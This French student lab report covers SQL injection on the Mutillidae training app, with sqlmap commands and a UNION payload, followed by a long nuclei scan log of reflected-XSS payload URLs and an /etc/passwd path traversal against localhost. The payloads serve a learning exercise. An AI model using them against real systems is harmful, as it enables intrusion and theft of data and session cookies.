rapport Antoine-Kévin

premier lab :
on utilise une injection dans le name du User en mettant une quote fermante pour indiqué qu'on termine le champ de Username et on ajoute un " OR 1=1 " qui renvoie true puis un ";" pour passé a la suite de la requète et enfin trois "-- -" pour passer le reste des conditions en commentaire et permettre a la base de données de nous renvoyer l'entièreté des données.

second lab :

on utilise sql map pour trouver le type de base données et pour essayer toutes les requetes sql et qui renvoie ensuite les requetes qui marchent pour les essayer. Il suffit d'écrire :

- sqlmap -u "urldusite" --data "{requeteQu'onEnvoie}"
  on peut également écrire :
- sqlmap -u "urldusite" -r "utilisé burpsuite et données les données"

pour l'exemple avec le "--data" sqlmap nous retourne de multiple timeout et ne fonctionne pas

on ajoute dans pswd :
UNION ALL SELECT NULL,CONCAT(0x716a6a6271,0x425a4c6c6b704d44504b45686849774e566a6d6d41436e4e43747a70796a50566a4d506d62756665,0x71767a7071),NULL,NULL,NULL,NULL,NULL--

on a, pour la suite utiliser nuclei de project discovery pour avoir un scann complet des failles/vulnérabilité de l'entièreté du lab de multillidae.

grâce à cet outil, nous avons pu récupérer énormément de faux positif que nous avons listé par la suite :

[CVE-2004-0519] [http] [medium] http://127.0.0.1/index.php/mail/src/compose.php?page=repeater.php&mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

[CVE-2005-4385] [http] [medium] http://127.0.0.1/index.php/search.htm?page=repeater.php&searchstring2&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

[CVE-2008-1061] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/sniplets/view/sniplets/warning.php?page=repeater.php&text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

sont des failles qui concernent les analystes de NVD utilisent des informations accessibles au public pour associer des chaînes vectorielles et des scores CVSS.

[CVE-2007-0885] [http] [medium] http://127.0.0.1/index.php/jira/secure/BrowseProject.jspa?page=repeater.php&id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e

Une vulnérabilité de cross-site scripting (XSS) dans jira/secure/BrowseProject.jspa dans Rainbow avec l'extension Zen (Rainbow.Zen) permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre id.

[CVE-2002-1131] [http] [high] http://127.0.0.1/index.php/src/options.php?page=repeater.php&optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Les vulnérabilités de script intersite dans SquirrelMail 1.2.7 et versions antérieures permettent aux attaquants distants d'exécuter le script en tant qu'autres utilisateurs via (1) addressbook.php, (2) options.php, (3) search.php ou (4) help.php.

[CVE-2008-2398] [http] [medium] http://127.0.0.1/index.php/index.php?page=repeater.php&appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E

La vulnérabilité de cross-site scripting (XSS) dans index.php dans AppServ Open Project 2.5.10 et versions antérieures permet aux attaquants distants d'injecter un script Web ou HTML arbitraire via le paramètre appservlang.

[CVE-2010-4282] [http] [high] http://127.0.0.1/index.php/pandora_console/ajax.php?page=repeater.php&page=../../../../../../etc/passwd

plusieurs vulnérabilités de traversée de répertoire dans Pandora FMS avant 3.1.1 permettent aux attaquants distants d'inclure et d'exécuter des fichiers locaux arbitraires via (1) le paramètre de page à ajax.php ou (2) le paramètre id à general/pandora_help.php, et permettent aux attaquants distants d'inclure et d'exécuter, créer, modifier ou supprimer des fichiers locaux arbitraires via (3) le paramètre de mise en page à operation/agents/networkmap.php.

[CVE-2011-4336] [http] [medium] http://127.0.0.1/index.php/snarf_ajax.php?page=repeater.php&url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

tiki Wiki CMS Groupware 7.0 a XSS via le paramètre GET "ajax" pour snarf_ajax.php.

[CVE-2011-5107] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?page=repeater.php&name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Vulnérabilité de cross-site scripting (XSS) dans post_alert.php dans le plugin Alert Before Your Post, peut-être 0.1.1 et versions antérieures, car WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre name.

[CVE-2011-4624] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/flash-album-gallery/facebook.php?page=repeater.php&i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de cross-site scripting (XSS) dans facebook.php dans le plugin GRAND FlAGallery (flash-album-gallery) avant 1.57 pour WordPress permet aux attaquants distants d'injecter un script web arbitraire ou HTML via le paramètre i.

[CVE-2011-5179] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/skysa-official/skysa.php?page=repeater.php&submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Vulnérabilité de cross-site scripting (XSS) dans skysa-official/skysa.php dans Skysa App Bar Integration plugin, peut-être avant 1.04, pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre submit.

[CVE-2011-5106] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/flexible-custom-post-type/edit-post.php?page=repeater.php&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de cross-site scripting (XSS) dans edit-post.php dans le plugin Flexible Custom Post Type avant 0.1.7 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre id.

[CVE-2011-4926] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/adminimize/adminimize_page.php?page=repeater.php&page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Une vulnérabilité de script intersite (XSS) dans adminimize/adminimize_page.php dans le plugin Adminimize avant 1.7.22 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre page.

[CVE-2011-5181] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?page=repeater.php&cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de cross-site scripting (XSS) dans clickdesk.php dans ClickDesk Live Support - Live Chat plugin 2.0 pour WordPress permet aux attaquants distants d'injecter un

script Web arbitraire ou HTML via le paramètre cdwidgetid.

[CVE-2011-5265] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/featurific-for-wordpress/cached_image.php?page=repeater.php&snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans cached_image.php dans le plugin Featurific For WordPress 1.6.2 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre snum. NOTE : ceci a été contesté par un tiers.

[CVE-2012-0901] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?page=repeater.php&submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans yousaytoo.php dans le plugin de publication automatique YouSayToo 1.0 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre submit.

[CVE-2012-1835] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?page=repeater.php&title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Plusieurs vulnérabilités de script intersite (XSS) dans le plugin All-in-One Event Calendar 1.4 et 1.5 pour WordPress permettent aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre de titre (1) à app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, ou (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; ou (7) msg parameter to /app/view/save_successful.php.

[CVE-2012-4273] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?page=repeater.php&xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans libs/xing.php dans le plugin 2 Click Social Media Buttons avant 0.34 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre xing-url.

[CVE-2012-2371] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans index.php dans le plugin WP-FaceThumb 0.1 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre pagination_wp_facethumb.

[CVE-2012-4547] [http] [medium] http://127.0.0.1/index.php/awstats/awredir.pl?page=repeater.php&url=%3Cscript%3Ealert(document.domain)%3C/script%3E

Une vulnérabilité non spécifiée dans awredir.pl dans AWStats avant 7.1 a un impact et des vecteurs d'attaque inconnus.

[CVE-2012-4889] [http] [medium] http://127.0.0.1/index.php/fw/syslogViewer.do?page=repeater.php&port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Plusieurs vulnérabilités de script intersite (XSS) dans ManageEngine Firewall Analyzer 7.2 permettent aux attaquants distants d'injecter un script Web ou HTML arbitraire via le paramètre (1) subTab ou (2) pour createAnomaly.do; (3) url, (4) subTab, ou (5) paramètre tab pour mindex.do; (6) le paramètre tab à index2.do; ou (7) le paramètre de port à syslogViewer.do.

[CVE-2012-4768] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans le plugin Download Monitor avant la version 3.3.5.9 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre dlsearch à l'URI par défaut.

[CVE-2012-5913] [http] [medium] http://127.0.0.1/index.php/wp-login.php?page=repeater.php&redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E

La vulnérabilité de script intersite (XSS) dans wp-integrator.php dans le module WordPress Integrator 1.32 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre redirect_to dans wp-login.php.

[CVE-2013-3526] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?page=repeater.php&aoid=%3Cscript%3Ealert(1)%3C%2Fscript%3E

Une vulnérabilité de script intersite (XSS) dans js/ta_loaded.js.php dans le plugin Traffic Analyzer, éventuellement 3.3.2 et versions antérieures, pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre aoid.

[CVE-2013-2287] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/uploader/views/notify.php?page=repeater.php¬ify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Plusieurs vulnérabilités de cross-site scripting (XSS) dans views/notify.php dans le plugin Uploader 1.0.4 pour WordPress permettent aux attaquants distants d'injecter un script web

arbitraire ou HTML via le paramètre (1) notify ou (2) blog.

[CVE-2013-4625] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/duplicator/files/installer.cleanup.php?page=repeater.php&remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans les fichiers /installer.cleanup.php dans le plugin Duplicator avant 0.4.5 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre package.

[CVE-2013-4117] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?page=repeater.php&ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans inclut /CatGridPost.php dans le plugin Category Grid View Gallery 2.3.1 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre ID.

[CVE-2014-2908] [http] [medium] http://127.0.0.1/index.php/Portal/Portal.mwsl?page=repeater.php&PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter

La vulnérabilité de script intersite (XSS) dans le serveur Web intégré sur les périphériques CPU Siemens SIMATIC S7-1200 2.x et 3.x permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via des vecteurs non spécifiés.

[CVE-2014-4539] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?page=repeater.php&filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

La vulnérabilité de script intersite (XSS) dans le plugin Movies 0.6 et versions antérieures pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre filename dans getid3/demos/demo.mimeonly.php.

[CVE-2014-4535] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?page=repeater.php&filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité XSS (cross-site scripting) dans le plugin Import Legacy Media 0.1 et antérieur pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre filename dans getid3/demos/demo.mimeonly.php.

[CVE-2014-4513] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/activehelper-livehelp/server/offline.php?page=repeater.php&MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Plusieurs vulnérabilités de script intersite (XSS) dans server/offline.php dans le plugin ActiveHelper LiveHelp Live Chat 3.1.0 et versions antérieures pour WordPress permettent aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre (1) MESSAGE, (2) EMAIL ou (3) NAME.

[CVE-2014-4550] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?page=repeater.php&shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e

La vulnérabilité XSS (cross-site scripting) dans preview-shortcode-external.php dans le plugin Shortcode Ninja 1.4 et antérieur pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre shortcode.

[CVE-2014-4544] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?page=repeater.php&Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans le plugin Podcast Channels 0.20 et antérieur pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre Nom de fichier dans getid3/demos/demo.write.php.

[CVE-2014-4558] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/swipehq-payment-gateway-woocommerce/test-plugin.php?page=repeater.php&api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E+

La vulnérabilité de script intersite (XSS) dans test-plugin.php dans le plugin Swipe Checkout for WooCommerce 2.7.1 et versions antérieures pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre api_url.

[CVE-2014-4561] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?page=repeater.php&url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le plugin ultime-météo 1.0 pour WordPress a XSS

[INF] Using Interactsh Server: oast.fun
[CVE-2014-9615] [http] [medium] http://127.0.0.1/index.php/webadmin/deny/index.php?page=repeater.php&dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=<group_name_eg_netsweeper_student_allow_internet_access&policyname=auto_created&username=root&userip=127.0.0.1&connectionip=127.0.0.1&nsphostname=netsweeper&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité XSS (cross-site scripting) dans Netsweeper 4.0.4 permet aux attaquants distants d'injecter un script Web ou HTML arbitraire via le paramètre url dans webadmin/deny/index.php.

[CVE-2014-9606] [http] [medium] http://127.0.0.1/index.php/webadmin/policy/category_table_ajax.php?page=repeater.php&customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Plusieurs vulnérabilités de script intersite (XSS) dans Netsweeper avant 3.1.10, 4.0.x avant 4.0.9 et 4.1.x avant 4.1.2 permettent aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre serveur (1) à remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.

[CVE-2014-9607] [http] [medium] http://127.0.0.1/index.php/remotereporter/load_logfiles.php?page=repeater.php&server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans remotereporter/load_logfiles.php dans Netsweeper 4.0.3 et 4.0.4 permet aux attaquants distants d'injecter un script Web ou HTML arbitraire via le paramètre url.

[CVE-2014-9444] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans le plugin Frontend Uploader 0.9.2 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre errors[fu-disallowed-mime-type][0][name] à l'URI par défaut.

[CVE-2014-9094] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?

page=repeater.php&swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

Plusieurs vulnérabilités de cross-site scripting (XSS) dans deploy/designer/preview.php dans le plugin Video Gallery de Digital Zoom Studio (DZS) pour WordPress permettent aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre (1) swfloc ou (2) designrand.

[CVE-2015-1880] [http] [medium] http://127.0.0.1/index.php/remote/login?page=repeater.php&err=--%3E%3Cscript%3Ealert('2WUAvPg1lZ0kNShqH7y5msb8l4z')%3C/script%3E%3C!--&lang=en

La vulnérabilité de script intersite (XSS) dans la page de connexion sslvpn dans Fortinet FortiOS 5.2.x avant la version 5.2.3 permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via des vecteurs non spécifiés.

[CVE-2015-2807] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/navis-documentcloud/js/window.php?page=repeater.php&wpbase=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans js/window.php dans le plugin Navis DocumentCloud avant 0.1.1 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre wpbase.

[CVE-2015-2068] [http] [medium] http://127.0.0.1/index.php/magmi/web/magmi.php?page=repeater.php&configstep=2&profile=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Plusieurs vulnérabilités de script intersite (XSS) dans le plugin MAGMI (alias Magento Mass Importer) pour Magento Server permettent aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre de profil (1) sur web/magmi.php ou (2) QUERY_STRING sur web/magmi_import_run.php.

[CVE-2015-4127] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/church-admin/includes/validate.php?page=repeater.php&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans le plugin church_admin avant 0.810 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre address, comme le démontre une demande d'index.php/2015/05/21/church_admin-registration-form/.

[CVE-2015-6920] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/sourceafrica/js/window.php?

page=repeater.php&wpbase=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans js/window.php dans le plugin sourceAFRICA 0.1.3 pour WordPress permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre wpbase.

[CVE-2015-8349] [http] [medium] http://127.0.0.1/index.php/index.php?page=repeater.php&p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype

La vulnérabilité de script intersite (XSS) dans SourceBans avant la version 2.0 pré-alpha permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre advSearch pour indexer.php.

[CVE-2015-9414] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/wp-symposium/get_album_item.php?page=repeater.php&size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le plugin wp-symposium à travers 15.8.1 pour WordPress a XSS via le paramètre wp-content/plugins/wp-symposium/get_album_item.php? size.

[CVE-2016-1000127] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/ajax-random-post/js.php?page=repeater.php&interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress ajax-random-post v2.00

[CVE-2016-1000126] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/admin-font-editor/css.php?page=repeater.php&size=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin admin-font-editor v1.8

[CVE-2016-1000130] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/e-search/tmpl/date_select.php?page=repeater.php&date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin e-search v1.0

[CVE-2016-1000132] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?page=repeater.php&itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported

XSS reflété dans le plugin wordpress amélioré-tooltipglossary v3.2.8

[CVE-2016-1000128] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/anti-plagiarism/js.php?page=repeater.php&m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Reflété XSS dans wordpress plugin anti-plagiat v3.60

[CVE-2016-1000135] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/hdw-tube/mychannel.php?page=repeater.php&channel=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress hdw-tube v1.2

[CVE-2016-1000136] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?page=repeater.php&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress heat-trackr v1.0

[CVE-2016-1000133] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?page=repeater.php&source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress forget-about-shortcode-buttons v1.1.1

[CVE-2016-1000131] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/e-search/tmpl/title_az.php?page=repeater.php&title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin e-search v1.0

[CVE-2016-1000137] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?page=repeater.php&v=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin hero-maps-pro v2.1.0

[CVE-2016-1000129] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/defa-online-image-protector/redirect.php?page=repeater.php&r=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin defa-online-image-protector v3.3

[CVE-2016-1000138] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?page=repeater.php&indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress indexisto v1.0.5

[CVE-2016-1000140] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/new-year-firework/firework/index.php?page=repeater.php&text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress new-year-firework v1.1.9

[CVE-2016-1000146] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?page=repeater.php&itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin pondol-formmail v1.1

[CVE-2016-1000143] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/photoxhibit/common/inc/pages/build.php?page=repeater.php&gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress photoxhibit v2.1.8

[CVE-2016-1000149] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/simpel-reserveren/edit.php?page=repeater.php&page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin simpel-reserveren v3.5.2

[CVE-2016-1000142] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/parsi-font/css.php?page=repeater.php&size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress parsi-font v4.2.5

[CVE-2016-1000148] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/s3-video/views/video-management/preview_video.php?page=repeater.php&media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22

XSS reflété dans le plugin wordpress s3-video v0.983

[CVE-2016-1000141] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/page-layout-builder/includes/layout-settings.php?page=repeater.php&layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin page-layout-builder v1.9.3

[CVE-2016-1000152] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/tidio-form/popup-insert-help.php?page=repeater.php&formId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin tidio-form v1.0

[CVE-2016-1000154] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/whizz/plugins/delete-plugin.php?page=repeater.php&plugin=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress whizz v1.0.7

[CVE-2016-1000153] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/tidio-gallery/popup-insert-help.php?page=repeater.php&galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans wordpress plugin tidio-gallery v1.1

[CVE-2016-1000155] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=repeater.php&page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

XSS reflété dans le plugin wordpress wpsolr-search-engine v7.6

[CVE-2016-10993] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le thème ScoreMe jusqu'au 2016-04-01 pour WordPress a XSS via le paramètre s.

[CVE-2016-8527] [http] [medium] http://127.0.0.1/index.php/visualrf/group_list.xml?page=repeater.php&aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match

Aruba Airwave toutes les versions jusqu'à, mais sans inclure, 8.2.3.1 est vulnérable à un script cross-site réfléchi (XSS). La vulnérabilité est présente dans le composant VisualRF d'AirWave. En exploitant cette vulnérabilité, un attaquant qui peut tromper un utilisateur administrateur connecté d'AirWave en cliquant sur un lien pourrait obtenir des informations sensibles, telles que des cookies de session ou des mots de passe. La vulnérabilité nécessite qu'un administrateur clique sur le lien malveillant alors qu'il est actuellement connecté à AirWave dans le même navigateur.

[CVE-2016-7981] [http] [medium] http://127.0.0.1/index.php/ecrire/?page=repeater.php&exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La vulnérabilité de script intersite (XSS) dans valider_xml.php dans SPIP 3.1.2 et versions antérieures permet aux attaquants distants d'injecter un script Web ou HTML arbitraire via le paramètre var_url dans une action valider_xml.

